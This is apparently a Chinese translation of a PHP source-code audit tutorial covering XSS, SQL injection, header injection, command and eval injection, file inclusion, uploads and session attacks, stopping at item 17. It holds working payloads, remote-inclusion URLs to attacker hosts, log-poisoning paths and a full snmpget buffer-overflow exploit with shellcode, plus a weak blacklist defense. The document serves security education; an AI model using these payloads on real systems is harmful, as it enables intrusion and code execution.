架构
架构

PHP Fuzzing行动——源码审计

PHP Fuzzing行动——源码审计

学习资源：

http://www.fortify.com

http://wikipedia.com

http://www.madirish.net

http://www.owasp.org

http://samate.nist.gov/

http://searchsecuritychannel.techtarget.com/

http://www.webappsec.org

http://phpsec.org

高级php应用程序漏洞审核技术：

http://code.google.com/p/pasc2at/wiki/SimplifiedChinese


PHP Fuzzing行动——源码审计
2010-12-28 22:50:58
标签： PHP Fuzzing行动——源码审计

PHP Fuzzing行动——源码审计

作者：Shahin Ramezany

译者：riusksk（泉哥：http://riusksk.blogbus.com）

目录：

Section 1:

20种PHP源码快速审计方式

Section 2:

PHP源码审计自动化( PHP Fuzzer )


风险级别：

■ Low

■ Medium

■ High

在开始PHP代码分析之前，读者必须先完成以下两项工作：

１．安装PHP程序；

２．使用支持PHP代码高亮的编辑器（比如Emeditor – Notepad++）。

笔者在下文中所提供的方法仅作为简单的攻击和防御参考。本文旨在介绍攻击和防御方法。

注意１：其中一些话题归Wikipedia版权所有

注意２：必须在PHP源码中寻找以下变量：

$_SERVER

$_GET

$_POST

$_COOKIE

$_REQUEST

$_FILES

$_ENV

$_HTTP_COOKIE_VARS

$_HTTP_ENV_VARS

$_HTTP_GET_VARS

$_HTTP_POST_FILES

$_HTTP_POST_VARS

$_HTTP_SERVER_VARS

以上变量均为PHP中的可输入变量。

注意３：关于这些变量的更多信息可访问PHP官方网站：www.php.net。

Section 1: 20种PHP源码快速审计方式

1- Cross Site Scripting (XSS) / CRLF [Medium]

跨站脚本（XSS）属于WEB程序中的一类计算机安全漏洞，它允许在用户浏览的网页中注入恶意代码，比如HTML代码和客户端脚本。可利用的跨站脚 本漏洞可被攻击者用于绕过访问控制，比如同源策略（same origin policy）。这类漏洞可被用于构造钓鱼攻击和浏览器攻击。

攻击：

攻击者在其请求中注入HTML代码。

Exp 1:

<?php

$error_message = $_GET['error'];

print $error_message ;

?>

index.php?error=<script>alert(document.cookie)</script>

Exp 2:

<html>

<body>

<input name=”show_courses” value=”<?php echo $_GET['show_courses']; ?>” >

</body>

</html>

#http://127.0.0.1:81/1.php?show_courses=”><script>alert(document.cookie);</script>

防御：

<?php

$error_message = $_GET['error'];

print htmlspecialchars($error_message );

?>

更多资料：

http://ha.ckers.org/xss.html

http://en.wikipedia.org/wiki/Cross-site_scripting

http://www.googlebig.com/forum/cross-site-scripting-attack-and-defense-guide-t-178.html

2- SQL Injection [medium]

SQL注入是利用WEB程序数据层的安全漏洞进行代码注入的技术。当用户输入的数据中并未对嵌入的SQL声明语句进行正确过滤时，或者用户并没有被 严格地限制输入，从而导致恶意代码被执行，就有可能造成SQL注入漏洞。这是一类很普遍的安全漏洞，它可在任何时候发生于被嵌入的编程或脚本语言之中。

攻击：

SQL注入是PHP代码审计过程中发现的最为严重的漏洞之一，关于这类攻击更多的信息可以通过阅读下面提供的参考资料获得，而这里只是简述此类漏洞而已。

Example 1:

<?php

$id= $_GET['id'];

$query= “SELECT * FROM users WHERE id= ‘ “ .$id.” ;”

…

?>

index.php?id=1+UNION+SELECT+1,@@version,3,4,5+from+users/*

Example 2:

#login.php：

<?

//login.php — SQL Injection Vulnerable page

//Attack and defence php apps book

//shahriyar – j

$user = $_POST['user'];

$pass = $_POST['pass'];

$link = mysql_connect(‘localhost’, ‘root’, ‘pass’) or die(‘Error: ‘.mysql_e

rror());

mysql_select_db(“sql_inj”, $link);

$query = mysql_query(“SELECT * FROM sql_inj WHERE user =’”.$user.”‘ AND pas

s =’” .$pass. “‘”,$link);

if (mysql_num_rows($query) == 0) {

echo”<scripttype=\”text/javascript\”>window.location.href=’index.html’;</sc

ript>”;

exit;

}

$logged = 1;

?>

当用户（可能为攻击者）发送$_POST['user'] , $_POST['pass']给 login.php时，这些变量直接存储在SQL请求命令中。如果攻击者发送：

$user = 1′ OR ’1′ = ’1

$pass = 1′ OR ’1′ = ’1

将会绕过login.php的登陆验证，读者当注意此类代码。

防御：

下面是通用的防注入代码：

<?php

$title = $_POST['title']; // user input from site

$description = $_POST['description']; // user input from site

// define the cleaner

$dirtystuff = array(“\”", “\\”, “/”, “*”, “‘”, “=”, “-

“, “#”, “;”, “<”, “>”, “+”, “%”);

// clean user input (if it finds any of the values above, it will replace it with

whatever is in the quotes – in this example, it replaces the value with nothing)

$title = str_replace($dirtystuff, “”, $title); // works!

$description = str_replace($dirtystuff, “”, $description); // works!

// input: I\ “like/ green< ** veg’et=a-bles> ;and< pizza**

// output: I like green vegetables and pizza

// input: a’;DROP TABLE users; SELECT * FROM data WHERE name LIKE ‘%

// output: aDROP TABLE users SELECT FROM data WHERE name LIKE

?>

<译注：最好还是采用白名单的过滤方式>

更多信息 :

http://en.wikipedia.org/wiki/Sql_injection

http://drewish.com/files/SQL Injection Overview.ppt

http://www.php.net/manual/en/security.database.sql-injection.php

攻击实例：

http://www.milw0rm.com/papers/241

http://www.milw0rm.com/papers/202

2- HTTP Response Splitting [Medium]

HTTP响应分裂是一种WEB程序漏洞，它可以导致应用程序或者环境设置对输入值的过滤失效，也可以执行跨站脚本攻击，跨用户攻击，WEB缓存中毒以及其它类似的攻击。

重要的HTTP头列表：

在PHP语言中，我们可以使用”header”函数来设置HTTP头，在一些PHP源码中，你可以发现”header“,“$_SERVER“等函数。在“$_SERVER“函数中的一些参数包含有用户输入的数据：

REQUEST_URI, PATH_INFO, QUERY_STRING

Example 1:

<?php

redirect_page = $_GET['page'];

header (“Location: ” . redirect_page);

?>

redirect.php?page=http://www.abysssec.com

For $_SERVER:

<?php

echo “Welcome From ” . $_SERVER['HTTP_REFERER'];

?>

可以使用Mozilla Firefox插件”Tamper Data”来发送通常的HTTP header：

https://addons.mozilla.org/en-US/firefox/addon/966

Example 2 :

<?php

$Name = “test”; //senders name

$email = “[email protected]”; //senders e-mail adress

$recipient = $_GET['to'];//recipient

$mail_body = “The text for the mail…”; //mail body

$subject = “Subject …”; //subject

$header = “From: “. $Name . ” <” . $email . “>\r\n”;

mail($recipient, $subject, $mail_body, $header); //mail command :)

?>

CRLF是HTTP Response Splitting的另一种方式。在上面的例子中，行4中的$recipient变量并没有对所有的输入数据进行检测，以致攻击者可以添加“CC”：

默认输入为：

$headers = “From: [email protected]\r\n”;

$headers .= “CC: [email protected]\r\n”;

“CC” 和 ”From” 被 ”\r\n” 分隔。

污染输入：

[email protected]\r\nCC: [email protected]

防御：

1- 检测Mail Header的输入值

2- 可使用以下方式输入，而不用URL输入：

<?php

$id = $_GET['url_id'];

if ($id == 1) {

header (“Location: ” . redirect_page);

}

?>

和:

<?php

echo “Welcome From ” . htmlspecialchars($_SERVER['HTTP_REFERER']);

?>

攻击实例:

(video) : http://www.milw0rm.com/video/watch.php?id=28

http://www.securiteam.com/unixfocus/6F00Q0K6AK.html

http://o0o.nu/~meder/o0o_Blogger_HTTP_response_splitting.txt

http://www.securityfocus.com/archive/1/369405

4- 动态赋值漏洞 [High]:

1-当使用动态函数加载时，可通过请求来执行指定的函数，导致攻击者可以执行任意函数。

攻击：

<?php

$myfunc = $_GET['myfunc'];

$myfunc();

?>

Index.php?myfunc=phpinfo

2-全局函数漏洞

Register Global是危险的“PHP扩展”：

当其打开时，register_globals可利用各种变量注入脚本代码，比如来自HTML表单的请求。这种漏洞主要与PHP变量未初始化相关， 以致轻而易举地即可向其写入恶意代码。这是一个艰难地抉择，但PHP官方最后依然决定在默认情况下禁止该指令。当允许该指令时，用户仍可使用变量，但无法 确定它是来自哪里，而只能靠猜测。在脚本中定义的内部变量很容易与用户发送的请求数据相混淆，而只能通过禁止register_globals来解决这种 情况。下面演示一个未使用register_globals的例子：

Admin.php

<?php

if (isset($is_admin)) {

//Yes, I’m the admin so call the Administration Pannel

[...]

} else {

//No, I’m not the admin

[...]

}

?>

# admin.php?is_admin=1

另一个说明register_globals存在问题的例子就是下面关于动态路径的包含：

<?php

include “$path/script.php”;

?>

当允许register_globals时，可用以下方式请求页面：

Index.php?path=http://evil.example.org/?

相当于下面的请求：

<?php

include ‘http://evil.example.org/?/script.php’;

?>

注意（php.ini配置）：

如果allow_url_fopen 是enabled（默认情况下是enabled,甚至在php.ini中民被推荐的设置），这将包含http://evil.example.org/的输出，正如本地文件一般。这是一个严重的安全漏洞，这也是在一些开源的代码程序中被发现的。

防御：

不要使用这种方式去加载函数，这是一个危险地带！任何时候，任何情况下，Register Global都应该关闭！或者将变量的内容设置如下：

<?php

$is_admin =();

if (isset($is_admin)) {

//Yes, I’m the admin so call the Administration Pannel

[...]

} else {

//No, I’m not the admin

[...]

}

?>

攻击实例 / 信息：

http://www.milw0rm.com/exploits/7705

http://wiki.lunarpages.com/PHP_and_Register_Global_Variables

5- 进程控制/PHP代码注入 (HIGH):

当我们使用下列函数：“PHP进程执行函数&进程控制”，并且用户可以输入变量（见上面），那么将导致任意的PHP代码被执行。

PHP进程控制列表：

Exec

system

passthru

shell_exec

proc_open

pcntl_exec

Example 1:

<?php

$page = $_GET['page'];

system (“type ” . $page);

?>

# index.php?page=/etc/passwd | uname –a

Example 2:

下列代码是来自一项管理系统的WEB程序，它允许用户封装批处理文件进行Oracle数据库备份，然后运行cleanup.bat脚本去清除一些临 时文件。rmanDB.bat可接受单命令行参数，由它指定备份类型。因为数据库访问是受限的，备份程序需要权限用户才可执行。

<?

…

$btype = $_GET['backuptype'];

$cmd = “cmd.exe /K \”c:\\util\\rmanDB.bat ” . $btype . “&&c:\\utl\\cleanup.

bat\”";

system(cmd);

…

?>

这个问题主要是读取用户数据的backuptype参数时未对其进行任何有效地过滤所导致的。特别是Runtime.exec()函数将不能执行多条命令，但在这种情况下，程序为了单次调用Runtime.exec()以 执行多条命令，它就得先去执行cmd.exe shell。Shell一经调用，它将会分别执行被点号分隔的多条命令。如果攻击者发送一条经恶意构造的命令”&& del c:\\dbms\\*.*”,那么程序将随之执行该条命令。由于程序需要一定的权限才能与数据库交互，因此被注入的任何命令都将以此权限运行。

当程序员使用eval()函数操作内部数据时，这些数据都可能会被攻击者关注到，因为它很容易导致代码执行漏洞的发生：

<?php

$install = $_REQUEST['install_command'];

eval($install);

?>

上面的代码如玫瑰香一般诱人，因为它可能被用来执行代码注入。

install.php?install_command=phpinfo();

实例代码：

<?php

[...]

$register_poll_vars = array(“id”,”template_set”,”action”);

for ($i=0;$i<sizeof($register_poll_vars);$i++) {

if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) {

eval(“\$$register_poll_vars[$i] =

\”".trim($HTTP_POST_VARS[$register_poll_vars[$i]]).”\”;”);

} elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) {

eval(“\$$register_poll_vars[$i] =

\”".trim($HTTP_GET_VARS[$register_poll_vars[$i]]).”\”;”);

} else {

eval(“\$$register_poll_vars[$i] = ”;”);

}}

[...]

?>

$$register_poll_vars[$i] 是用户输入的变量。

http://[target]/comments.php?id=”;[PHPCODE]//&template_set=”;[PHPCODE]//&action=”;[PHPCODE]//

攻击实例：

http://www.milw0rm.com/exploits/3758

http://www.milw0rm.com/exploits/309

6- 本地/远程文件包含(High):

本地或者远程文件包含是PHP代码审计中的高危漏洞，攻击者可利用它加载本地或者远程文件到PHP WEB页面。

危险函数：

include

include_once

require

require_once

show_source

highlight_file

readfile

file_get_contents

fopen

file

通常，PHP中的每一个“文件系统函数”都可能是危险的，可参见这里：

http://ir.php.net/manual/en/ref.filesystem.php

本地文件包含：

<?php

include(‘../geshi.php’);

if ( isset($_POST['submit']) ) //*

{

//*

if ( get_magic_quotes_gpc() ) $_POST['source'] =

stripslashes($_POST['source']);

if ( !strlen(trim($_POST['source'])) )

{

//BUG is HERE

$_POST['source'] = implode(”, @file(‘../geshi/’ . $_POST['language'] .

‘.php’));

$_POST['language'] = ‘php’;

}

?>

在星号*标记的一行中，如果存在变量$_POST ['submit']和 $_POST ['language'],那么你就可以读取任何的PHP文件。因此，我们可以利用此漏洞读取config.php文件！

Exploit:

<form action=”http://[HOST]/example.php” method=”post”>

Path to file:

example: ../../../../config

<textarea name=”language”></textarea>

<input name=”submit” value=”See”>

</form>

注意：

在本地文件包含（LFI）攻击中，攻击者可读取对方主机中的任何日志文件和本地文件。也许这种文件浏览并不能造成多大危害，但攻击者可先构造一个错 误，然后该错误会被记录在服务器上的日志文件中(apache log / error log等等)。当攻击者向目标主机请求一个未存在的文件时：

Test000.php?code=<?php;phpinfo();?>

这将会把全路径地址都记录在error.log文件中（在本例中，你的日志文件路径可能与笔者不同），与此同时，当我们利用LFI漏洞的变量去加载error.log时，攻击者即可执行自己的PHP代码。

默认日志文件路径列表：

var/log/httpd/access_log

var/log/httpd/error_log

apache/logs/error.log

apache/logs/access.log

apache/logs/error.log

apache/logs/access.log

apache/logs/error.log

apache/logs/access.log

apache/logs/error.log

apache/logs/access.log

apache/logs/error.log

apache/logs/access.log

logs/error.log

logs/access.log

logs/error.log

logs/access.log

logs/error.log

logs/access.log

logs/error.log

logs/access.log

logs/error.log

logs/access.log

etc/httpd/logs/access_log

etc/httpd/logs/access.log

etc/httpd/logs/error_log

etc/httpd/logs/error.log

var/www/logs/access_log

var/www/logs/access.log

usr/local/apache/logs/access_log

usr/local/apache/logs/access.log

var/log/apache/access_log

var/log/apache/access.log

var/log/access_log

var/www/logs/error_log

var/www/logs/error.log

usr/local/apache/logs/error_log

usr/local/apache/logs/error.log

var/log/apache/error_log

var/log/apache/error.log

var/log/access_log

var/log/error_log

Example:

http://www.milw0rm.com/exploits/2270

（译注：关于更多的LFI2RCE技术可以参见我在博客http://riusksk.blogbus.com上写的一篇文章《利用PHP代码实现LFI2RCE》,网上对本文的转载是不完整的，因为后来我又补写了一段上去。）

远程文件包含：

远程文件包含攻击允许恶意用户在存在漏洞的主机上运行自己的PHP代码，攻击者可包含存放在网上空间中用PHP编写的网页（恶意）代码。例如下面的一段漏洞代码：

<?php

if (eregi(“theme.php”, $_SERVER['PHP_SELF']))

die();

global $theme, $_FNROOTPATH,$lang; //<– REQUEST Variable

global $forumback, $forumborder;

$_FN['table_background']=&$forumback;

$_FN['table_border']=&$forumborder;

if ($forumback==”" && $forumborder==”"){

$forumback=”ffffff”;

$forumborder=”000000″;

} // Load File

require_once ($_FNROOTPATH . “themes/$theme/theme.php”);

…

?>

Exploit:

由于变量$_FNROOTPATH未明确地指定数值，因此攻击者可以注入本地的恶意文件到URL中，并在目标服务器上执行：

http://localhost/~flatnux/index.php?_FNROOTPATH=http://attacker.com/shell.php%00

攻击实例：

http://www.milw0rm.com/exploits/8066

http://www.milw0rm.com/exploits/8025

http://www.milw0rm.com/exploits/7939

http://www.milw0rm.com/exploits/7969

http://www.milw0rm.com/exploits/6817

7 –文件管理 (HIGH):

有些PHP函数可用于文件管理，如果偷懒的程序员没有对输入变量进行很好地检测，那么就可能造成这种高危漏洞。

Copy函数:

<?php

$file = $_GET['cpFile'];

$newfile = “/user/local/www/html/tmp/file.php”;

if (!copy($file, $newfile)) {

echo “failed to copy $file…\n”;

} else {

echo ” thanks ..”

}

?>

攻击者可以复制其它文件，比如’/etc/passwd’ into ‘$newfile’，然后读取它。

http://victim.com/index.php?cpfile=/etc/passwd

其它危险函数如下：

文件删除 [见PHP.Net]:

Rmdir

unlink

delete

fwrite

压缩 & 解压缩函数:

<?php

$file = “/tmp/foo.bz2″;

$bz = bzopen($file, “r”) or die(“Couldn’t open $file for reading”);

bzclose($bz);

?>

8- 缓冲区溢出 (High, 但难利用):

当程序员使用下面的危险函数时:

confirm_phpdoc_compiled

mssql_pconnect

mssql_connect

crack_opendict

snmpget

ibase_connect

缓冲区溢出漏洞就可能发生在上面的函数中。

缓冲区溢出举例(snmpget())：

<?php

$host = $_GET['host'];

$timeout = $_GET['timeout'];

$syscontact = snmpget(“$host”, “public”, “$timeout”);

?>

Exploit:

<?php

// PHP 4.4.6 snmpget() object id local buffer overflow poc exploit

// rgod [-> R.I.P] + Edited By Abysssec INC

// site: http://retrogod.altervista.org

// win xp sp2 version

if (!extension_loaded(“snmp”)){

die(“you need the snmp extension loaded.”);

}

$____scode=

“\xeb\x1b”.

“\x5b”.

“\x31\xc0″.

“\x50″.

“\x31\xc0″.

“\x88\x43\x59″.

“\x53″.

“\xbb\x6d\x13\x86\x7c”. //WinExec

“\xff\xd3″.

“\x31\xc0″.

“\x50″.

“\xbb\xda\xcd\x81\x7c”. //ExitProcess

“\xff\xd3″.

“\xe8\xe0\xff\xff\xff”.

“\x63\x6d\x64″.

“\x2e”.

“\x65″.

“\x78\x65″.

“\x20\x2f”.

“\x63\x20″.

“start notepad & “;

$edx=”\x64\x8f\x9b\x01″; //jmp scode

$eip=”\x73\xdc\x82\x7c”; //0x7C82DC73 jmp edx

$____suntzu=str_repeat(“A”,188).$edx.str_repeat(“A”,64).$eip.str_repeat(“\x

90″,48).$____scode.str_repeat(“\x90″,48);

//more than 256 chars result in simple eip overwrite

$curl = curl_init();

//Send Time out

curl_setopt ($curl, CURLOPT_URL, “http://target.com/snmp.php?host=127.0.

0.1&timeout=$____suntzu”);

curl_exec ($curl);

curl_close ($curl);

?>

9- Cookie / Session injection / Fixation / [High]:

会话安全是一个高端话题，成为被频繁攻击的目标也就不足为奇了。主要的session攻击包括会话冒充，攻击者可以访问到由其它用户发起的会话。对 于攻击者而言，最为重要的信息莫过于会话ID（session identifier），因为这是完成会话冒充攻击必备的条件。下面有三种方法可以获得一个有效的会话ID：

● 预测法

● 捕获法

● 注视法

预测法可用于猜测有效的会话ID。由于PHP本有的会话机制，会话ID都是非常随机化的，因此这里并不是执行攻击的最薄弱点。

捕获有效的会话ID是最为普遍的会话攻击类型，当然，这还有很多其它方法。由于会话ID是在cookies或者GET变量中传输的，因此各种攻击方 式都主要聚焦于这些传输方式。当浏览器存在一些关于cookies的漏洞时（大部分是发生在Internet Explorer中），cookies比GET变量曝露会话ID的机率更低，因此对于大多数使用cookies的用户，你可以为他们提供一种更为安全的传 输机制——利用cookie传输会话ID。

注视法是获取有效会话ID最为简单的方式。这种方法很难被防御，但如果你的会话机制仅仅使用session_start()，那么就可能存在漏洞。为了演示这种会话注视法，请看下面的代码,session.php:

<?php

session_start();

if (!isset($_SESSION['visits']))

{

$_SESSION['visits'] = 1;

}

else

{

$_SESSION['visits']++;

}

echo $_SESSION['visits'];

?>

当首次访问该页面时，你可以看到1被输出到屏幕上。在随后的每次访问中，该数值将会随之增加，以反映页面访问次数。

为了演示session fixation，首先需要确保你的电脑上并不存在会话ID（可以删除cookies），然后将?PHPSESSID=1234添加到URL中以访问该页 面。接着，以完全不同的浏览器（甚至是完全不同的计算机）访问添加了?PHPSESSID=1234的URL地址。此时你将会看到屏幕上并没有输出1，而 是继续你之前开始的会话。

为何存在这种问题呢？大部分的session fixation攻击只是简单地使用一个链接或者一个协议，以将用户重定向到一个包含会话ID的URL地址的远程站点。用户可能并不会注意到，因为这个站 点将显示完全相同的内容。由于会话ID已被获知了，那么就可以利用它来发动伪造攻击，比如会话劫持（session hijacking）。

一次像这样简单的攻击是很容易被阻止的。如果正在活动的会话与用户拥有的会话ID无关，那么它可以重新生成会话ID：

<?php

session_start();

if (!isset($_SESSION['initiated']))

{

session_regenerate_id();

$_SESSION['initiated'] = true;

}

?>

对于这样简单的防御，攻击者只需用一个特定的会话ID初始化session即可，然后使用该ID发动攻击。为了阻止这类攻击，首先应当知道会话劫特 只在用户登陆后有效，或者要不然就是获得高权限后才有用。因此，如果当权限级别改变时（例如核实用户名和密码后），我们就应该修改即将重新生成的会话 ID，这样我们才能真正地消除被session fixation攻击的风险。

会话劫持（Session Hijacking）

在所有被用来访问他人会话的攻击技术中，会话劫持无疑是最普遍的一种会话攻击技术。正如session fixation一样，如果你的会话机制仅由session_start()组成，那么它就存在漏洞，即使利用起来并不简单。与其关注如何阻止会话ID被 窃取，倒不如想想如何成功地完成一次会话ID窃取。由于会话伪造的每一步复杂化都会提高我们的安全性，因此为了将会话劫持复杂化，我们需要检查成功完成会 话劫持所需要的每一步骤。在每一种方案中，我们都将假设会话ID已被窃取。在最为简单的会话机制中，一个有效的会话ID是会话劫持成功与否的关键所在。为 了完善它，我们需要查看用于其它认证的HTTP请求中是否还有其它东西。

注意

单纯地依靠TCP/IP层上的东西（比如IP地址）是不明智的，因为一些更为底层的协议无法兼容发生在HTTP层上的行为。一个用户可能用不同的IP地址去完成每一次的请求，多个用户也可能拥有共同的IP地址。

一个典型的HTTP requtest:

GET / HTTP/1.1

Host: example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

由于Host header是HTTP/1.1所必需的，因此依靠其它信息是不明智的。但是，防御的坚固程度确实是我们所需要的，因为我们关注的是如何增加会话伪造的难度，以防止危害到合法用户。假设之前的request是由下面与之不同的User-Agent请求的：

GET / HTTP/1.1

Host: example.org

User-Agent: Mozilla Compatible (MSIE)

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

虽然相同的cookie是存在的，但是是否可以假设它们是同一用户呢？这似乎与浏览器更改请求包中的User-Agent header很不同吧？下面我们修改会话机制以进行对比：

<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT']))

{

if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))

{

/* Prompt for password */

exit;

}

}

else

{

$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);

}

?>

现在攻击者不仅需要提供一个有效的会话ID，而且还必须提供与会话中相匹配的User-Agent header。虽然这使事情轻微的复杂化，但这可以使它变得更为安全了。

我们是否还可以再提高它的安全性呢？人们认为获取cookie值的通用方式就是利用浏览器（比如IE）漏洞。这些攻击方式包括受害者访问攻击者的恶 意站点，因此攻击者也可以获取正确的User-Agent header。这就要求我们必须采取其它的保护方式以对抗这种情况。如果我们要求用户在每一项请求中都必须传输User-Agent的MD5值，那么攻击 者将无法篡改受害者的请求包中所包含的头信息了，但这也将需要再发送一项附加信息了。当这一特定的token容易被猜测到时，我们可以将这一猜想工作复杂 化，以提高猜想的难度，这只需简单地添加一个随机生成的额外数据即可构造出token：

<?php

$string = $_SERVER['HTTP_USER_AGENT'];

$string .= ‘SHIFLETT’;

/* Add any other data that is consistent */

$fingerprint = md5($string);

?>

记住，我们是在cookie中传输会话ID的，这就导致了攻击者常常得去破坏cookie（可能所有的HTTP头也是如此）才能窃取到会话ID，因 此我们应该以URL变量来传输fingerprint。这些都必须在所有的URL中传输，即使是会话ID也是如此，因为这些都是必需的，这样会话才能自动 地保持下去（还得通过所有检测）。

为了确保合法用户不会像犯人一样被对待，这就需要在检测失败时要求输入密码。如果在你的检测方法中存在错误，比如错误地判断一个发动伪造攻击的用 户，那么在继续操作前就得要求输入密码，以确保在这种情况下受到最小的攻击。事实上，用户可能在察觉到这种请求方式后，会感激你添加了这种保护方式。

其实还有其它各种不同的方法可以用来提高伪造会话的复杂程度，以防止发生会话劫持。同时希望在对session_start()的额外处理上，你可以有自己的想法。总之只需记住：为难坏小子，方便好小子。

攻击实例：

http://www.milw0rm.com/exploits/3508

http://www.milw0rm.com/exploits/858

http://www.milw0rm.com/exploits/871

10 – 拒绝服务[Medium, But Hard Assessment]:

WEB程序特别容易受到拒绝服务攻击。一个WEB程序很难讲清恶意数据传输与普通数据传输之间的不同，这里面有多方面的因素，但是其中最为重要的一 点就是：由于多种原因,IP地址不能作为可行的鉴定证书。由于没有一种可靠的方式可以得知HTTP request来自哪里，这就导致很难过滤掉一些恶意的数据传输。对于分布式攻击，程序又该如何去辨别真实攻击与多用户同时重载数据（网站的这种临时问题 是可能发生的）或者获取“slash dotted”之间的不同呢？

例如：

<?php

//….

$user_mode=$_SERVER['HTTP_USER_AGENT'];

$user_ip=$_SERVER['SERVER_ADDR'];

$sql = “INSERT INTO tbl_name (..) VALUES($user_mode,$user_ip);”;

//Summon Myssql For each Request and Write into it.

//..

?>

当一些访问者请求查看目标站点时，他们的信息（例如IP及浏览器信息）将会被记录在MYSQL数据库中。与此同时，当一些用户（或者一些攻击者发动请求）发送请求后，Mysql 服务器将对其进行处理。

其它循环函数，比如：[While, for ...]

一旦攻击者可摧毁一些必需的资源，那么他们就可以阻止合法用户使用系统。一些被限制的资源包括带宽，数据库连接，磁盘存储，CPU，内存，线程，或者程序特定资源。

攻击实例：

http://archive.cert.uni-stuttgart.de/bugtraq/2006/01/msg00397.html

http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-03/msg00092.html

在上例中：

profile.php：注册用户，注册中我们可以使安全代码图片失效

search.php：通过数据库不能记录到的方式进行搜索。

11 – XPath注入 [XML函数]:

SQL注入是最为普遍的代码注入攻击方式，但我们这里要讲述的是其它一些可危害到你的程序及数据的其它注入攻击方式，主要包括LDAP注入和 XPath注入。’XPath injection’与SQL注入攻击相似，但它的攻击目标是XML document，而非SQL数据库。’XPath Injection’是用于攻击WEB站点的攻击技术，用于构造来自用户提供的XPath请求。

例如：

<?php

$test = $_GET['test'];

if ($test){

$xml = simplexml_load_file(“1.xml”);

$result = $xml->xpath($test);

print_r($result);

}

?>

1.xml :

<?xml version=”1.0″ encoding=”UTF-8″?>

<note>

<to>Tove</to>

<from>Jani</from>

<heading>Reminder</heading>

<body>Don’t forget me this weekend!</body>

</note>

Good Query :

Index.php?test=from

Good Result :

Array ( [0] => SimpleXMLElement Object ( [0] => Jani ) )

Bad Query :

Index.php?test=*

Good Result For US ! :

Array ( [0] => SimpleXMLElement Object ( [0] => Tove ) [1] => SimpleXMLElement Object ( [0] => Jani

) [2] => SimpleXMLElement Object ( [0] => Reminder ) [3] => SimpleXMLElement Object ( [0] =>Don’t forget me this weekend! ) )

这是一个存在漏洞的PHP程序！

注意：

Xpath Injection有多种方式，比如SQL/Xpath Inject , Basic Xpath Inject & …

更多信息：

http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf

http://www.ibm.com/developerworks/xml/library/x-xpathinjection.html

http://joginipally.blogspot.com/2007/10/code-injection-xpath-injection.html

http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml

攻击实例：

http://www.securityfocus.com/archive/1/466211

12 – 常被滥用: 文件上传 (High):

当允许文件上传到你的系统时，你就得承担一定的风险，因为文件可能并非它所显示出来的那样（伪装为图片以上传PHP脚本，并将其移动到他们可以运行它的地方等等）。如果你的站点不需要上传文件，那么禁止它将可以防止因疏忽造成的错误而被上传恶意文件。

Example 1：下列代码用于处理上传的文件，它将文件移动到WEB根目录下。攻击者可以上传恶意PHP源文件给该程序以及来自服务端的后续请求，这将导致它们被PHP解释器执行（查找$_FILES函数）。

<?php

$udir = ‘./’; // Relative path under Web root

$ufile = $udir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $ufile)) {

echo “Valid upload received\n”;

} else {

echo “Invalid upload rejected\n”;

} ?>

即使程序将文件存储在一个不可通过WEB访问的目录下，攻击者依然可以将恶意内容注入到服务端环境中以发动其它攻击。如果程序易遭受到路径操作，命 令注入或者远程文件包含漏洞等的影响，那么攻击者可能会上传一个包含恶意内容的文件，以使程序通过可利用的漏洞去读取或执行它。

攻击 (发送文件):

<html>

<body> <form enctype=”multipart/form-data” method=POST>

<input type=file name=”userfile”>

<input type=”submit”>

</form>

</body>

</html>

防御：

如果用户并不需要上传文件，那么就关闭它。

PHP.ini:

file_uploads = off

攻击实例:

http://www.milw0rm.com/exploits/2937

http://securityvulns.com/Tdocument590.html

13 – 函数/文件的未认证调用(Medium):

一些管理目录下的文件原本是禁止访问的，但由于程序员忘记对这些文件进行验证，以致漏洞的发生。攻击者必须对存在此问题的文件进行检测。当PHP程序在未经许可的情况下调用管理函数时，攻击者可调用这些函数：

#index.php

<?php

include (“Function.php”);

$action=$_GET['action'];

if ($action == $actionArray[$action][0])) {

#load proper Function with $_GET

…

}

?>

#Function.php

<?php

$actionArray = array(

‘activate’ => array(‘Register, ‘Activate’),

‘admin’ => array(‘Admin’, ‘Admin’),

‘upload’=> array(‘Post’, ‘upload’),

‘ban’ => array(‘ManageBans’, ‘Ban),

);

function Forum (){

#Authorize Function

…

}

Function upload (){

# admin function without Permission

…

}

}

本例中攻击者可在未经许可的情况下加载管理函数：

# index.php?action=upload

14 – 通过暴力破解绕过登陆验证 (Low):

当程序员未对尝试登陆失败的次数进行检测时，攻击者可以在一些登陆页面上通过暴力破解绕过验证。

注意：当一个懒惰的程序员使用basic authentication来保护他/她的控制面板时，这将给攻击者提供一次暴力破解的机会。

<?php

if (!isset($_SERVER['PHP_AUTH_USER'])) {

header(‘WWW-Authenticate: Basic realm=”My Realm”‘);

header(‘HTTP/1.0 401 Unauthorized’);

echo ‘Text to send if user hits Cancel button’;

exit;

} else {

echo “<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>”;

echo “<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>”;

}

?>

攻击实例:

大部分的商业管理系统（CMS）,例如：OS-commerce (在某些版本中)。

15 –不安全的随机命名Session / Cookie / 备份文件(Medium):

在命名session & cookie &备份文件时，将其随机化，可能会出卖它们。

例如：

<?php

$rnd = rand(1,100);

$fp = fopen($rnd.’_backup_.sql’, ‘w’);

fwrite($fp, $db );

fclose($fp);

?>

本例中：将备份文件写入到”$rand_backup_.sql”中。在代码第2行中，我们可以看到$rand参数，它随机生成1-100之间的任 意数。攻击者可写入代码以暴力破解文件名。因此当我们在生成Session & Cookie的时候，应当谨慎地使用随机函数。

攻击实例:

PHP-Fusion <= 6.00.105 Accessible Database Backups Download Exploit:

http://www.milw0rm.com/exploits/1068

16 – HTML Comment中提供的详细信息 (Low):

HTML标签可用于寻踪WEB程序或者泄漏WEB程序结构。

17 – 默认安装的多余文件 (medium):

